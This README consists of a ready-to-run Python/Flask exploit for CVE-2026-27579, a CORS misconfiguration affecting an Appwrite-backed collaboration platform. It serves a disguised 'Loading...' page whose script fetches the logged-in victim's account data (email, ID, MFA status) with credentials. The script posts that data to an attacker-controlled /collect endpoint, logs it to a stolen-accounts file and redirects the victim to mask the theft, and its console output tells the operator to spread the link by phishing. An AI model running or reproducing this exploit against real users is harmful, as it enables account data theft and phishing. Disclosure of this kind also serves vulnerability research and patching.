README.md
Rendering markdown...
#!/usr/bin/env python3
# Exploit Title: Appwrite CORS Misconfiguration - Credentialed Account Data Leak
# CVE: CVE-2026-27579
# Date: 2026-02-22
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://appwrite.io
# Software Link: https://github.com/karnop/realtime-collaboration-platform
# Affected: realtime-collaboration-platform (CollabPlatform) using vulnerable Appwrite config
# Tested on: Appwrite Cloud (as of advisory date)
# Category: Web Application
# Platform: Web
# Exploit Type: Remote
# CVSS: HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
# Description: Exploits permissive CORS policy allowing arbitrary Origin reflection with credentials=true.
# Allows stealing authenticated user data (email, $id, MFA status, etc.) when the victim visits
# an attacker-controlled page while logged in.
# Fixed in: Not fixed at time of advisory publication (February 2026)
# Usage:
# python3 exploit.py --lhost <your_ip_or_domain> --lport <your_port>
#
# Examples:
# python3 exploit.py --lhost 192.168.1.100 --lport 8000
#
# Notes:
# - Requires Flask: pip install flask
# - Victim must be logged into the target platform / Appwrite session
# - For public access use ngrok, Cloudflare Tunnel, VPS, etc.
import sys
from flask import Flask, request, make_response
import json
from datetime import datetime
app = Flask(__name__)
def parse_arguments():
if len(sys.argv) < 4 or '--lhost' not in sys.argv or '--lport' not in sys.argv:
print("Usage: python3 exploit.py --lhost <your_ip_or_domain> --lport <your_port>")
print("Example: python3 exploit.py --lhost 192.168.1.100 --lport 8000")
sys.exit(1)
lhost = None
lport = None
i = 1
while i < len(sys.argv):
if sys.argv[i] == '--lhost':
lhost = sys.argv[i + 1]
i += 2
elif sys.argv[i] == '--lport':
lport = sys.argv[i + 1]
i += 2
else:
i += 1
if not lhost or not lport:
print("Error: --lhost and --lport are required.")
sys.exit(1)
try:
lport = int(lport)
except ValueError:
print("Error: --lport must be a number.")
sys.exit(1)
return lhost, lport
lhost, lport = parse_arguments()
attacker_base = f"http://{lhost}:{lport}"
print("""
╔════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ║
║ ██╔════╝ ██╔═══██╗██╔══██╗██╔════╝ ██╔══██╗██╔═══██╗██╔═══██╗ ║
║ ██║ ██║ ██║██████╔╝█████╗ ██████╔╝██║ ██║██║ ██║ ║
║ ██║ ██║ ██║██╔══██╗██╔══╝ ██╔═══╝ ██║ ██║██║ ██║ ║
║ ╚██████╗ ╚██████╔╝██║ ██║███████╗ ██║ ╚██████╔╝╚██████╔╝ ║
║ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═════╝ ╚═════╝ ║
║ ║
║ C V E - 2 0 2 6 - 2 7 5 7 9 ║
║ CORS Misconfiguration Exploit Proof of Concept ║
║ ║
║ ┌──────────────────────────────────────────────────────────────────────────────┐ ║
║ │ Author ............ Mohammed Idrees Banyamer │ ║
║ │ Country ........... Jordan │ ║
║ │ Instagram ......... @banyamer_security │ ║
║ │ Date .............. February 22, 2026 │ ║
║ └──────────────────────────────────────────────────────────────────────────────┘ ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════╝
""")
print(f"[*] Starting malicious server → {attacker_base}")
print(f"[*] Send this link to the target (phishing / social engineering):")
print(f" {attacker_base}/")
print("")
@app.route('/')
def exploit_page():
html = f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Loading...</title>
</head>
<body>
<h2>Please wait...</h2>
<p>Connecting to realtime collaboration service...</p>
<script>
const target = "https://cloud.appwrite.io/v1/account";
const exfil = "{attacker_base}/collect";
fetch(target, {{
method: "GET",
credentials: "include",
mode: "cors",
headers: {{
"X-Appwrite-Project": "6981d34b0036b9515a07",
"X-Appwrite-Response-Format": "1.8.0",
"Content-Type": "application/json"
}}
}})
.then(r => r.json())
.then(data => {{
fetch(exfil, {{
method: "POST",
mode: "no-cors",
keepalive: true,
headers: {{ "Content-Type": "application/json" }},
body: JSON.stringify({{
stolen: data,
timestamp: new Date().toISOString(),
userAgent: navigator.userAgent
}})
}});
document.body.innerHTML = "<h2 style='color:green'>Connection successful!</h2><p>Redirecting you now...</p>";
setTimeout(() => {{ window.location = "https://www.google.com"; }}, 2200);
}})
.catch(e => {{
document.body.innerHTML = "<h2>Error connecting. Try again later.</h2>";
}});
</script>
</body>
</html>"""
return html
@app.route('/collect', methods=['POST', 'OPTIONS'])
def collect():
if request.method == "OPTIONS":
resp = make_response()
resp.headers['Access-Control-Allow-Origin'] = '*'
resp.headers['Access-Control-Allow-Methods'] = 'POST, OPTIONS'
resp.headers['Access-Control-Allow-Headers'] = '*'
return resp
try:
data = request.get_json()
ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S UTC")
print(f"\n[+] Account stolen ─ {ts}")
print(json.dumps(data, indent=2))
with open("stolen_accounts.txt", "a", encoding="utf-8") as f:
f.write(f"[{ts}] {json.dumps(data)}\n\n")
return {"ok": True}, 200
except:
return {"error": True}, 400
if __name__ == "__main__":
print("[*] Server is listening...")
print("[!] Waiting for victim to visit the link while logged in...")
app.run(host="0.0.0.0", port=lport, debug=False)